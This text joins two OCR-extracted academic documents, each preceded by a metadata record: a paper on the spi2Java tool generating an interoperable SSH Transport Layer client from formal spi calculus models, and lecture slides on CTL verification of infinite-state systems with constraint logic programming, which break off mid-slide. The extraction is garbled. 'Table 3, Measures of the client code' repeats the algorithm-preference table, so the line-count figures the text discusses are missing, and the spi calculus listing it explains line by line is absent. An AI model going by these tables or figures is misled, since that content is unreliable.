{"Source-Url": "https://mice.cs.columbia.edu/getTechreport.php?format=pdf&techreportID=433", "len_cl100k_base": 6775, "olmocr-version": "0.1.49", "pdf-total-pages": 7, "total-fallback-pages": 0, "total-input-tokens": 25543, "total-output-tokens": 7362, "length": "2e12", "weborganizer": {"__label__adult": 0.00035953521728515625, "__label__art_design": 0.00024127960205078125, "__label__crime_law": 0.0002486705780029297, "__label__education_jobs": 0.0002503395080566406, "__label__entertainment": 5.739927291870117e-05, "__label__fashion_beauty": 0.0001150369644165039, "__label__finance_business": 0.0001386404037475586, "__label__food_dining": 0.0004010200500488281, "__label__games": 0.000530242919921875, "__label__hardware": 0.0009474754333496094, "__label__health": 0.00034236907958984375, "__label__history": 0.00018477439880371096, "__label__home_hobbies": 6.22868537902832e-05, "__label__industrial": 0.0003211498260498047, "__label__literature": 0.00019431114196777344, "__label__politics": 0.0002343654632568359, "__label__religion": 0.0004200935363769531, "__label__science_tech": 0.0059814453125, "__label__social_life": 5.650520324707031e-05, "__label__software": 0.003414154052734375, "__label__software_dev": 0.984375, "__label__sports_fitness": 0.00027108192443847656, "__label__transportation": 0.0004146099090576172, "__label__travel": 0.00019609928131103516}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 29234, 0.02468]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 29234, 0.72062]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 29234, 0.87461]], "google_gemma-3-12b-it_contains_pii": [[0, 4819, false], [4819, 9991, null], [9991, 15004, null], [15004, 20057, null], [20057, 23254, null], [23254, 27315, null], [27315, 29234, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4819, true], [4819, 9991, null], [9991, 15004, null], [15004, 20057, null], [20057, 23254, null], [23254, 27315, null], [27315, 29234, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 29234, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 29234, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 29234, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 29234, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 29234, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 29234, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 29234, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 29234, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 29234, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 29234, null]], "pdf_page_numbers": [[0, 4819, 1], [4819, 9991, 2], [9991, 15004, 3], [15004, 20057, 4], [20057, 23254, 5], [23254, 27315, 6], [27315, 29234, 7]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 29234, 0.0]]}
|
olmocr_science_pdfs
|
2024-11-26
|
2024-11-26
|
0ece79116b6ccc57cafc24f9b03b025ccfb5e94a
|
An Experiment in Interoperable Cryptographic Protocol Implementation Using Automatic Code Generation
Original
Availability:
This version is available at: 11583/1659069 since:
Publisher:
IEEE Computer Society
Published
DOI:10.1109/ISCC.2007.4381508
Terms of use:
openAccess
This article is made available under terms and conditions as specified in the corresponding bibliographic description in the repository
(Article begins on next page)
An Experiment in Interoperable Cryptographic Protocol Implementation Using Automatic Code Generation
Alfredo Pironti, Riccardo Sisto
Politecnico di Torino
Dip. di Automatica e Informatica
c.so Duca degli Abruzzi 24, I-10129 Torino (Italy)
e-mail: {alfredo.pironti, riccardo.sisto}@polito.it
phone: +390115647073 fax: +390115647099
Abstract
Spi2Java is a tool that enables semi-automatic generation of cryptographic protocol implementations, starting from verified formal models. This paper shows how the last version of spi2Java has been enhanced in order to enable interoperability of the generated implementations. The new features that have been added to spi2Java are reported here. A case study on the SSH Transport Layer Protocol, along with some experiments and measures on the generated code, is also provided. The case study shows, with facts, that reliable and interoperable implementations of standard security protocols can indeed be obtained by using a code generation tool like spi2Java.
1 Introduction
Given a security protocol specification, it is unsafe to manually write the code that implements the given specification, because there is no assurance that the written code correctly adheres to the specification, which can lead to the introduction of severe security flaws, not present in the specification, but added by wrong coding.
By using techniques such as testing or code reviews, it can be assured that the program is correctly working only for a limited number of scenarios, but it cannot be verified that it will behave as specified under all circumstances.
Formal methods can help to tackle the above problem. However, while a lot of progress has been made on the use of formal methods to verify the correctness of cryptographic protocol specifications, only a few research works have addressed the problem of ensuring that the protocol implementation, written in a programming language, correctly implements the protocol specification. This paper focuses on methods based on automatic code generation from formal specifications. All such methods start from a high-level, formally verified, specification of the protocol, which abstracts away from details about how cryptographic and communication operations actually take place, and fill the semantic gap between formal specification and implementation without losing the verified protocol properties.
One of the limitations that still affects the methods of this kind proposed so far [11, 12] is that they do not allow the development of interoperable implementations of standard security protocols. This limitation is due to the inability of the proposed methods to set specific algorithm parameters for each cryptographic operation, and to handle arbitrary encoding/decoding schemes. In order to make such methods applicable to real protocols, the above limitations must be eliminated.
This paper shows, using a case study, how the technique originally presented in [11] has been improved in this direction. The specific approach considered starts from a spi calculus [1] specification of the security protocol, which can be manually derived from the protocol informal specification. The use of the spi calculus allows two important steps to be performed:
1. Verify that the formal specification is correct (i.e. it satisfies the intended security requirements), and thus that it does not contain any flaw itself;
2. Automatically generate the Java code that correctly implements the security protocol.
Step one, i.e. verification of the spi calculus protocol, can be achieved using one of the available verification tools, such as S3A [4] or ProVerif [3]. Step two, i.e. automatic Java code generation, can be achieved using the code generation tool spi2Java [11], and, specifically, the new version of the tool that enables the development of interoperable protocol implementations.
The case study that is presented in order to illustrate the potentiality of the proposed approach, is the development of a client for the SSH Transport Layer Protocol [14]. The main goal is to show how this approach helps a programmer to write interoperable and secure implementations of standard cryptographic protocols quickly.
The remainder of this paper is organized as follows. Section 2 compares the approach presented here to other existing approaches. Section 3 introduces the last version of the spi2Java tool. Section 4 describes the steps needed to implement the client side of the SSH Transport Layer Protocol in Java using the methodology implied by the spi2Java tool. Section 5 illustrates the experiments that have been carried out to test the interoperability of the client with third party server implementations. Moreover, some measures on the generated code and their interpretation are given. Finally, section 6 concludes with an overview of the achievements that have been reached with the new version of spi2Java.
2 Related Work
Some work has recently been done aimed at ensuring correctness of security protocol implementations.
The approaches proposed in [2] and in [10] are the dual of the approach presented here. They extract a verifiable formal model from an interoperable implementation of a security protocol. The model extraction approach has the advantage of allowing existing implementations to be verified without changing the way applications are currently written. However, these methods either put constraints on the syntax of the accepted source code, indeed not allowing to verify existing software, or they extract an approximate model where over approximations can cause false alarms. Low level issues, like for example buffer or integer over-flows, are not checked, because abstracted away. Moreover, these approaches expose the programmer, all at once, to the whole protocol logic and implementation complexity, because a complete protocol implementation must be provided, before it can be verified.
An approach very close to the one presented in the previous version of spi2Java is described in [12]. However, neither the generated code is interoperable, nor algorithms and parameters can be selected at runtime or for a specific cryptographic operation.
ACG-C# [8] is a tool that automatically generates C# code from a verified Casper script. This tool does not deal with the interoperability of the generated code. Moreover, the workflow is error prone, because it is necessary to manually modify the verified Casper script in order to let ACG-C# generate the code. It is also worth to note that the Casper scripting language is not as expressive as the spi calculus language. Because of this, with ACG-C# it is difficult to exactly model the behaviour of actors, as prescribed by the informal protocol specification.
The work presented in [5] illustrates another approach useful to translate formal specifications into Java code. In particular, the problem of mapping abstract data types into implemented Java classes is addressed in [6]. However, this work does not take interoperability into account, because it does not deal with the different encodings (different byte array representations) that can be assumed by the same abstract data item, when it is sent to, or received from other actors.
In [7], a formal model of a security protocol used by smart cards is manually derived and refined from informal specifications, then a manual Java implementation of the refined model is provided. Finally, JML properties are manually added to the Java source. No automatic tools are used to refine the model, nor to generate the Java implementation and the JML properties. This approach is error prone, because it requires manual work in all development stages. However, this solution is still interesting, because it leads to Java code that can be directly verified.
3 The new spi2Java tool features
The spi2Java tool is a software that translates a spi calculus definition of a security protocol into a Java program that implements it.
In order to create an interoperable Java application from the Spi Calculus source, spi2Java needs to fill all the implementation details that are abstracted away by the spi calculus language. These implementation details can be grouped into two main categories:
1. Cryptographic and Configuration parameters
2. Encoding/decoding functions
The first group of details specifies parameters such as “what algorithm must be used for a particular encryption operation” or “what network interface must be used by a particular channel”. In order to make the generated code compliant with the implemented protocol, it is necessary that these parameters can be set independently, at compile time or at run time, for each data item.
The second group of details deals with the transformation from the internal representation of messages into their external representation, and vice versa. The internal representation is the one used to perform all the operations prescribed by the protocol logic on the data; the external representation is the stream of bytes that must be exchanged with the other parties. Decoupling internal and external representations is also necessary in order to obtain interoperability, because the external representation allows the user to
exactly specify, byte per byte, how data are exchanged with other actors.
The last version of spi2Java improves the one described in [11] by adding the two requested features:
1. Specific implementation details can be set for each spi calculus term that is declared in the specification;
2. An encoding/decoding layer tailored for the protocol that is being implemented can be specified.
Another task that spi2Java carries out is to statically assign a type to each spi calculus term. This is necessary because spi calculus is an untyped language, while Java is statically typed. Details about the typing algorithm can be found in [11]; basically, the type of a term can be automatically inferred looking at how it is used.
In order to set the specific implementation details and the statically assigned type for each spi calculus term, the last version of spi2Java uses an eSpi (extended Spi) document, which is coupled with the original spi calculus source. Spi2Java automatically generates the eSpi document and fills all needed data with default values. The user can later change the proposed values to accommodate needs; after editing, spi2Java checks the user-given values for correctness and coherence with the spi calculus specification and the eSpi document format.
Moreover, with the new spi2Java version, cryptographic and configuration parameters can both be specified statically at compile time, or can be dynamically resolved at run time. The latter behaviour allows the implementation of protocols, like the SSH Transport Layer Protocol, that prescribe cryptographic algorithm negotiation at run time; the negotiated algorithm is stored into a spi calculus term whose value will be used as parameter for a cryptographic operation.
In order to create the encoding/decoding layer, four Java methods must be implemented by the programmer for each type of encoding/decoding that is required by the specification. They are: `encodePayload(); serialize(); decodePayload(); deSerialize();`.
The first method is responsible for translating the internal representation of a term into the payload, encoded as requested by the informal protocol specification. The second method is used to add the necessary headers and trailers to the payload. This approach gives high flexibility by allowing different and independent encodings for cryptographic and network operations. The third and fourth methods are dual with respect to the first and second methods.
For convenience and agile prototyping, a default encoding/decoding layer, which uses the Java serialization, is provided; however, in real environments, this default encoding/decoding layer has to be substituted with a user given one in order to implement the desired protocol.
When the spi calculus specification, the coupled eSpi document, and the encoding/decoding layer are done, spi2Java has all the information required to generate the Java code. The Java generator engine navigates all the expressions listed in the spi calculus source and translates each of them into a list of semantically equivalent Java statements. The mapping between a Spi Calculus expression and its corresponding list of Java statements is called a translation rule.
In order to get high confidence about the correctness of the translation rules, spi2Java comes with a Java library, `spiWrapper` (previously called `secureClasses`), that allows to map one to one spi calculus processes onto Java statements.
### 4 Using spi2Java to Implement the SSH Transport Layer Protocol
This section shows how a Java client for the SSH Transport Layer Protocol (SSH-TRANS) can be implemented with the help of spi2Java.
In the design phase, the spi calculus model of the client side of SSH-TRANS is derived from its informal specifications [13, 14]. For the sake of clearness a typical SSH-TRANS scenario is provided in figure 1.
A spi calculus specification\(^1\) of an SSH-TRANS client in the syntax accepted by spi2Java is:
\(^1\)With syntactic sugar: tuples will be reduced to nested pairs by the spi calculus compiler.
At line 1 the spi calculus process sshClient is declared with two formal parameters. ID_C represents the client identification string and c_algorithms represents the list of algorithms supported by the client, ordered by preference. At line 2 the client sends ID_C to the server on channel c, and at line 3 it receives the server identification string ID_S from the same channel. At lines 4-5 the client sends, on channel c, the KEX_C message, that is a fresh cookie (c_cookie, c_algorithms), followed by its list of supported algorithms. Note that the message tag SSH_MSG_KEXINIT is not explicitly reported in spi calculus, because it is considered an encoding feature. At lines 6-7, the client receives the KEX_S message, that contains the server cookie s_cookie and its list of supported algorithms s_algorithms. Note that let constructs split messages into their constituent parts. At lines 8-9, the client parses the server supported algorithms list, obtaining the negotiated algorithms that will be used later. In order to keep the specification simple, this operation is simply modeled as a tuple splitting, as though s_algorithms was the list of negotiated algorithms. Indeed, s_algorithms contains the list of all the algorithms supported by the server, and the list of negotiated algorithms is obtained composing the list in s_algorithms with the one in c_algorithms. The actual computation will be implemented in the encoding/decoding layer. At line 10 the client generates its Diffie-Hellman (DH) private key in variable x, and at line 11 it sends out its DH public key, obtained as g^x mod p. The latter is modeled by the EXP() function, which extends the classical spi calculus with modular exponentiation. Then at line 12 the client receives the server public key PubKey_s, the server DH public key f and the server signed final hash shash. At lines 13-15 the client checks that the server signed final hash is valid against the locally computed final hash. If the server signature is valid the protocol ends well, and the session key, obtained as f^x mod p is established.
In order to fully understand the meaning of lines 13-15, it must be pointed out that, for asymmetric key encryption, the spi calculus language only offers cryptographic primitives to cipher/decipher payloads. In particular, the spi calculus signature check process (line 13), despite of its name, does not check that a signature is valid, rather it is a mere decipher operation. Since the SSH-TRANS protocol prescribes to use RSA with SHA-1 [9] as signature algorithm, the server sends to the client the final hash, hashed with SHA-1, then ciphered with its private key. At line 13 the client deciphers the server signature and obtains its SHA-1-hashed final hash (shash), then at lines 14-15 it compares the locally generated final hash, hashed with SHA-1, with the received one.
Another thing to note is that terms DHHash, SignHash, SignKeyType, SignMode and SignPadding at lines 8-9 are not explicitly referenced anymore in the spi calculus source code. However, they are needed. These terms will be referenced in the eSpi document as the value of variable (run time) parameters of other terms, like the abstract hash operations denoted by H().
This SSH-TRANS client only supports the RSA signature algorithm. The support of both RSA and DSA algorithms would increase the complexity of the spi calculus code, without adding value to the case study. Indeed, the negotiation algorithm is client driven, that is, the server will agree on the signature algorithm suggested by the client. It follows that as long as the client will require the RSA algorithm, this algorithm will always be used.
In order to formally verify the secrecy of the established session key and a server authentication property, the given specification has been translated into the slightly different spi calculus syntax that is accepted by ProVerif [3]. More precisely, the server authentication property that has been proved ensures that if the server public key received by the client is authentic (this assumption is also required by the informal SSH-TRANS specification [14]), then the correct termination of a client session implies that the server has participated in the session and agrees on the same final hash, which is computed on all the relevant data of the protocol session, specifically including the established session key.
When the spi calculus specification is done and verified, spi2Java is used to automatically generate the coupled eSpi document, which comes filled with default values. Term types, and cryptographic and configuration parameters, are then modified to suite the protocol specification; by now the default encoding/decoding layer is used. Two significant changes to the default values are needed for this protocol: the term DHHash must be referenced as the variable parameter that contains the hash algorithm name for the final hash; the terms SignHash, SignKeyType, SignMode and SignPadding must be referenced as the variable parameters that contain the algorithm parameters for the server signature check, which is composed of the decryption at line 13, followed by the most external hash at lines 14-15.
When all the required changes are performed, spi2Java is
run again in order to check that the custom eSpi document is valid and coherent.
The last step that must be accomplished before the automatic generation of the Java code, is to write an encoding/decoding layer for the SSH-TRANS. This encoding/decoding layer consists of a set of Java classes that implement the four required methods and comply with the SSH binary protocol, described in [13]. The Java class that decodes the s_algorithms term must be described separately, because it is responsible for both parsing the server algorithms list and also negotiating which algorithms will be used between client and server. The algorithm described in [14] is followed, and the server algorithms list s_algorithms is matched against the client algorithms list c_algorithms, and only the agreed algorithms are stored into the internal representation for later use.
When the encoding/decoding layer is done, the eSpi document is updated to use it, and spi2Java is used to validate the final version of the eSpi document and to generate the Java code that implements the SSH-TRANS client.
Before running the client, the spi calculus process input arguments must be initialized, since their value cannot be automatically inferred. It is worth noting that the input parameter c_algorithms, that is the client list of supported algorithms which drives the negotiation, can be modified in the Java source code, without the need to modify the spi calculus specification.
5 Experimental results
The generated SSH-TRANS client has been tested against six third party server implementations: five kinds of experiments have been executed with each server, totaling thirty experiments. Since the negotiated algorithms depend on client preferences, the client lists of preferred algorithms have been properly configured, such that, for each kind of experiment, different algorithms would have been negotiated.
Table 1 shows, for each kind of experiment, the lists of preferred algorithms that the client sends to the server.
<table>
<thead>
<tr>
<th>Kind of Exp.</th>
<th>Signature</th>
<th>DH group</th>
<th>Final Hash</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>RSA; DSA</td>
<td>1; 14</td>
<td>SHA-1</td>
</tr>
<tr>
<td>2</td>
<td>RSA; DSA</td>
<td>14; 1</td>
<td>SHA-1</td>
</tr>
<tr>
<td>3</td>
<td>DSA; RSA</td>
<td>1; 14</td>
<td>SHA-1</td>
</tr>
<tr>
<td>4</td>
<td>RSA; DSA</td>
<td>1</td>
<td>SHA-1</td>
</tr>
<tr>
<td>5</td>
<td>RSA; DSA</td>
<td>14</td>
<td>SHA-1</td>
</tr>
</tbody>
</table>
Table 1. Lists of preferred algorithms
In experiments of kind 1, 2, and 3, the client sends to the server a list with all the algorithms that the SSH-TRANS requires to be supported by the actors. If the server supports at least one of the algorithms proposed by the client, then the negotiation algorithm is expected to terminate with success, and experiments of kind 1 and 2 must end well. Instead, experiments of kind 3 are expected to correctly negotiate the algorithms, but then the client is expected to fail, due to unsupported signature algorithm.
In experiments of kind 4 and 5, for “DH group”, the client sends to the server a list with only one group. The negotiation algorithm is expected to fail if the server does not exactly support the client requested group, otherwise the experiment must end well.
The third party servers used for testing are reported, with some comments, in table 2.
<table>
<thead>
<tr>
<th>Server</th>
<th>Comments</th>
</tr>
</thead>
<tbody>
<tr>
<td>OpenSSH 4.2p1</td>
<td>All correct</td>
</tr>
<tr>
<td>PragmaFortress 4.0</td>
<td>All correct</td>
</tr>
<tr>
<td>cryptlib (KpyM 1.13)</td>
<td>No DH group 14</td>
</tr>
<tr>
<td>lshd-2.0.2</td>
<td>All correct</td>
</tr>
<tr>
<td>dropbear 0.48</td>
<td>No DH group 14</td>
</tr>
<tr>
<td>3.2.9.1 SSH Secure Shell</td>
<td>No DH group 14</td>
</tr>
</tbody>
</table>
Table 2. Tested servers
Servers with comment “All correct” support all required algorithms, and all kinds of experiments end as expected. In particular, the negotiated algorithms are always the preferred client algorithms. Servers with comment “No DH group 14” only support one of the two requested DH groups, that is group 1. With these servers, experiments of kind 1, 3 and 4 end as expected. Experiments of kind 2 end correctly, but the DH group 1 is agreed. Experiments of kind 5 correctly fail, because it is impossible to agree on a DH group.
The experiments illustrated here show the fact that the generated client can execute in real environments, because it is able to correctly interoperate with third party implementation servers.
Moreover, the client has been tested against the SSHredder\(^2\) suite, composed of more than 650 incorrect protocol sessions. Each incorrect session has been correctly rejected by the client, which confirms the reliability of the code developed with the proposed method.
Finally, some measures of the client code are reported in table 3.
<table>
<thead>
<tr>
<th>Kind of Exp.</th>
<th>Signature</th>
<th>DH group</th>
<th>Final Hash</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>RSA; DSA</td>
<td>1; 14</td>
<td>SHA-1</td>
</tr>
<tr>
<td>2</td>
<td>RSA; DSA</td>
<td>14; 1</td>
<td>SHA-1</td>
</tr>
<tr>
<td>3</td>
<td>DSA; RSA</td>
<td>1; 14</td>
<td>SHA-1</td>
</tr>
<tr>
<td>4</td>
<td>RSA; DSA</td>
<td>1</td>
<td>SHA-1</td>
</tr>
<tr>
<td>5</td>
<td>RSA; DSA</td>
<td>14</td>
<td>SHA-1</td>
</tr>
</tbody>
</table>
Table 3. Measures of the client code
\(^2\)http://www.rapid7.com/securitycenter/sshredder.jsp
the code inside this package is automatically generated by spi2Java, the only exceptions are the protocol parameters, which have to be manually set by the programmer.
It can be argued that $TLOC$ and $MLOC$ metrics highly depend on coding style. This is true; however, both spiWrapper and spiWrapperSSH packages have been written with the same coding style and rules. Because of this, it can be assumed that, in this particular environment, both $TLOC$ and $MLOC$ are significant.
As it can be clearly noticed from the $TLOC$ and $MLOC$ metrics, the code that must be manually written, that is the code inside the spiWrapperSSH package, is less than half of the whole code required by the entire application. This measure allows to state that the spi2Java tool helps to make application development quicker and safer, because less code must be manually written.
### 6 Conclusions
The original work presented in this paper shows how the last version of the spi2Java tool overcomes previous issues, allowing, for the first time, to semi-automatically generate, from a formal specification of a security protocol, interoperable Java code, with a high confidence about its correctness.
By providing a consistent development framework, spi2Java enables other developers to reproduce the innovative results obtained here, and to achieve new ones.
The proposed case study on the SSH-TRANS client is also original work. At the same time it shows the new features of the last version of the spi2Java tool, and, up to our knowledge, it is the first semi-automatically generated interoperable Java software that is developed with the proposed framework, and that works in real environments.
In order to achieve these results, spi2Java has been revised, and new features have been added. However, future work is still possible. In particular, automatic generation of the encoding/decoding layer would speed up the development process, and would further improve the assurance level about the correctness of the implementation.
Although it is likely that some parts of spi2Java can still be improved, the achievements showed in this paper represent innovative results, that allow programmers to develop, in less time, better interoperable security software, by using the reliability given by formal methods, the speed up given by automatic code generation, and the flexibility offered by the last version of spi2Java.
### References
|
{"Source-Url": "https://iris.polito.it/bitstream/11583/1659069/2/iscc07_author_postprint.pdf", "len_cl100k_base": 5684, "olmocr-version": "0.1.53", "pdf-total-pages": 7, "total-fallback-pages": 0, "total-input-tokens": 20623, "total-output-tokens": 6734, "length": "2e12", "weborganizer": {"__label__adult": 0.00044417381286621094, "__label__art_design": 0.0002014636993408203, "__label__crime_law": 0.0006766319274902344, "__label__education_jobs": 0.0002548694610595703, "__label__entertainment": 5.84721565246582e-05, "__label__fashion_beauty": 0.000156402587890625, "__label__finance_business": 0.0002079010009765625, "__label__food_dining": 0.0003399848937988281, "__label__games": 0.0005435943603515625, "__label__hardware": 0.0013246536254882812, "__label__health": 0.0005860328674316406, "__label__history": 0.0002149343490600586, "__label__home_hobbies": 7.176399230957031e-05, "__label__industrial": 0.0005340576171875, "__label__literature": 0.0002007484436035156, "__label__politics": 0.0003170967102050781, "__label__religion": 0.0005764961242675781, "__label__science_tech": 0.0313720703125, "__label__social_life": 8.505582809448242e-05, "__label__software": 0.007465362548828125, "__label__software_dev": 0.953125, "__label__sports_fitness": 0.0004143714904785156, "__label__transportation": 0.0005645751953125, "__label__travel": 0.00021839141845703125}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 29549, 0.03642]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 29549, 0.37125]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 29549, 0.88691]], "google_gemma-3-12b-it_contains_pii": [[0, 784, false], [784, 4663, null], [4663, 10015, null], [10015, 14083, null], [14083, 19353, null], [19353, 24547, null], [24547, 29549, null]], "google_gemma-3-12b-it_is_public_document": [[0, 784, true], [784, 4663, null], [4663, 10015, null], [10015, 14083, null], [14083, 19353, null], [19353, 24547, null], [24547, 29549, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 29549, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 29549, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 29549, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 29549, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 29549, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 29549, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 29549, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 29549, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 29549, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 29549, null]], "pdf_page_numbers": [[0, 784, 1], [784, 4663, 2], [4663, 10015, 3], [10015, 14083, 4], [14083, 19353, 5], [19353, 24547, 6], [24547, 29549, 7]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 29549, 0.16296]]}
|
olmocr_science_pdfs
|
2024-12-09
|
2024-12-09
|
da90712506fd5c7c44c294c6c6fee649b1df9213
|
Generalization Strategies for the Verification of Infinite State Systems
Fabio Fioravanti
Dip. Scienze, University of Chieti-Pescara, Italy
joint work with
Alberto Pettorossi, Valerio Senni
DISP, University of Rome Tor Vergata, Italy
and
Maurizio Proietti
IASI-CNR, Rome, Italy
Outline
- Verification of infinite state systems
- Computational tree logic
- Constraint logic programming
- Two-phase Verification method
- Rule-based program specialization
- Generalization strategies
- Perfect model computation
- Experimental evaluation
Infinite state systems
- The behaviour of a concurrent system can be represented as a state transition system which generates infinite computation paths:
Computational Tree Logic
- Properties are expressed in CTL, a propositional logic augmented with:
- quantifiers over paths: E (Exists), A (All), and
- temporal operators along paths: X (Next, in the next state in the path), F (Future, there exists a state in the path), G (Globally, for all states of the path).
- CTL Model Checking: decide whether or not $K,s \models \varphi$
- decidable in polynomial time for finite state systems
- undecidable for infinite state systems
Computational Tree Logic
Let $K$ be a Kripke structure $(S, I, R, L)$, $s$ a state, and $\text{Elem}$ a set of element properties, where $S$ is the set of states, $I \subseteq S$ is the set of initial states, $R \subseteq S \times S$ is the transition relation, $L: S \to \mathcal{P}(\text{Elem})$ is the labeling function.
Let $\pi$ be an infinite list $[s_0, ..., s_k, ...]$ of states and $d, \phi, \psi$ be CTL formulas
\[
K, s \models d \quad \text{iff} \quad d \in L(s)
\]
\[
K, s \models \neg \phi \quad \text{iff} \quad K, s \models \phi \quad \text{does not hold}
\]
\[
K, s \models \phi \land \psi \quad \text{iff} \quad K, s \models \phi \quad \text{and} \quad K, s \models \psi
\]
\[
K, s \models \text{EX} \phi \quad \text{iff} \quad \exists \pi = [s_0, s_1, ...], s = s_0, \text{ and } K, s_1 \models \phi
\]
\[
K, s \models \text{EU}(\phi, \psi) \quad \text{iff} \quad \exists \pi = [s_0, s_1, ...] \text{ s.t. } s = s_0 \text{ and } \exists n \geq 0
\]
\[
((\forall k, 0 \leq k < n, K, s_k \models \phi) \text{ and } K, s_n \models \psi)
\]
\[
K, s \models \text{AF} \phi \quad \text{iff} \quad \forall \pi = [s_0, s_1, ...] \text{ if } s = s_0 \text{ then } \exists n \geq 0 \text{ s.t. } K, s_n \models \psi
\]
The Bakery Protocol (Lamport)
Each process has: control state: \( s \in \{\text{think, wait, use}\} \) and counter: \( n \in \mathbb{N} \)
Process \( A \)
- \( \text{think} \)
- \( n_A := n_B + 1 \)
- \( \text{wait} \)
- \( n_A := 0 \)
- \( \text{use} \)
- If \( n_A < n_B \) or \( n_B = 0 \)
Process \( B \)
- \( \text{think} \)
- \( n_B := n_A + 1 \)
- \( \text{wait} \)
- \( n_B := 0 \)
- \( \text{use} \)
- If \( n_B < n_A \) or \( n_A = 0 \)
System: \( A || B \)
Path: \(<\text{think},0,\text{think},0> \rightarrow <\text{wait},1,\text{think},0> \rightarrow <\text{wait},1,\text{wait},2> \rightarrow <\text{use},1,\text{wait},2> \rightarrow \cdots\)
Mutual Exclusion: \(<\text{think},0,\text{think},0> \mid= \neg \ EF \ unsafe\)
where, for all \( n_A, n_B : \ <\text{use},n_A,\text{use},n_B> \mid= \ unsafe\)
Temporal Properties as Constraint Logic Programs
A system $S$ and the temporal logic are encoded by a CLP program.
- the transition relation is encoded by a binary predicate $tr$, like f.e.:
$\text{tr}(<\text{think}, A, S, B>, <\text{wait}, A_1, S, B>) :- A_1=B+1.$
$\text{tr}(<\text{wait}, A, S, B>, <\text{use}, A, S, B>) :- A<B.$
$\text{tr}(<\text{wait}, A, S, B>, <\text{use}, A, S, B>) :- B=0.$
$\text{tr}(<\text{use}, A, S, B>, <\text{think}, A_1, S, B>) :- A_1=0.$
+ similar clauses for process $B$
- the initial states:
$\text{initial}(<\text{think}, A, \text{think}, B>) :- A=0, B=0.$
- the elementary properties:
$\text{elem}(<\text{use}, A, \text{use}, B>, \text{unsafe}).$
Temporal Properties as Constraint Logic Programs
The satisfaction relation $\models$ is encoded by a binary predicate \texttt{sat}
\begin{verbatim}
sat(X, F) :- elem(X,F)
sat(X, not(F)) :- \+ sat(X,F)
sat(X, and(F1,F2)) :- sat(X,F1), sat(X,F2)
sat(X, ex(F)) :- tr(X,Y), sat (Y,F)
sat(X, eu(F1,F2)) :- sat(X,F2)
sat(X, eu(F1,F2)) :- sat(X,F1), tr(X,Y), sat(Y,eu(F1,F2))
sat(X, af(F)) :- sat(X,F)
sat(X, af(F)) :- ts(X,Ys), sat_all(Ys,af(F))
sat_all([],F).
sat_all([X|Xs],F) :- sat(X,F), sat_all(Xs,F)
\end{verbatim}
where \texttt{ts(X,Ys)} holds iff \texttt{Ys} is a list of all the successor states of \texttt{X}
The property to be verified is defined by a predicate prop.
s.t. \[ \text{prop} \equiv \forall X (\text{initial}(X) \rightarrow \text{sat}(X, \varphi)) \]
\[ \neg \exists X (\text{initial}(X) \land \neg \text{sat}(X, \varphi)) \]
encoded as follows
\[ g1 : \text{prop} :- \neg \text{negprop} \]
\[ g2 : \text{negprop} :- \text{initial}(X), \neg \text{sat}(X, \varphi) \]
Let $P_s$ be the set of clauses defining predicates sat, tr, ts, sat_all, prop, negprop. $P_s$ is locally stratified, and thus it has a unique perfect model.
Theorem 1. Let $K$ be a Kripke structure, let $I$ be the set of initial states of $K$, and let $\phi$ be a CTL formula. Then,
$$(\text{for all states } s \in I, \ K,s \models \phi) \iff \text{prop} \in M(P_s).$$
But...
- **Bottom-up** construction of $M(P_s)$ from facts may not terminate because $M(P_s)$ is infinite.
- **Top-down** evaluation of $P_s$ from $prop$ may not terminate due to infinite computation paths.
Two-phase Verification Method
- **Phase 1**: specialize $P_S$ w.r.t. the query $prop$:
\[ P_S \rightarrow \ldots \rightarrow SpP_S \text{ s.t. } \text{prop} \in M(P_S) \iff \text{prop} \in M(SpP_S) \]
and keep only the clauses on which the predicate $prop$ depends. $SpP_S$ is a stratified program.
Specialization is performed by using the rules + strategies program transformation approach
- '$\rightarrow'$ is an application of a transformation rule.
- **Phase 2**: construct bottom-up the perfect model of $M(SpP_S)$
(may not terminate)
Specialization strategy
- Input: The program $P_S$
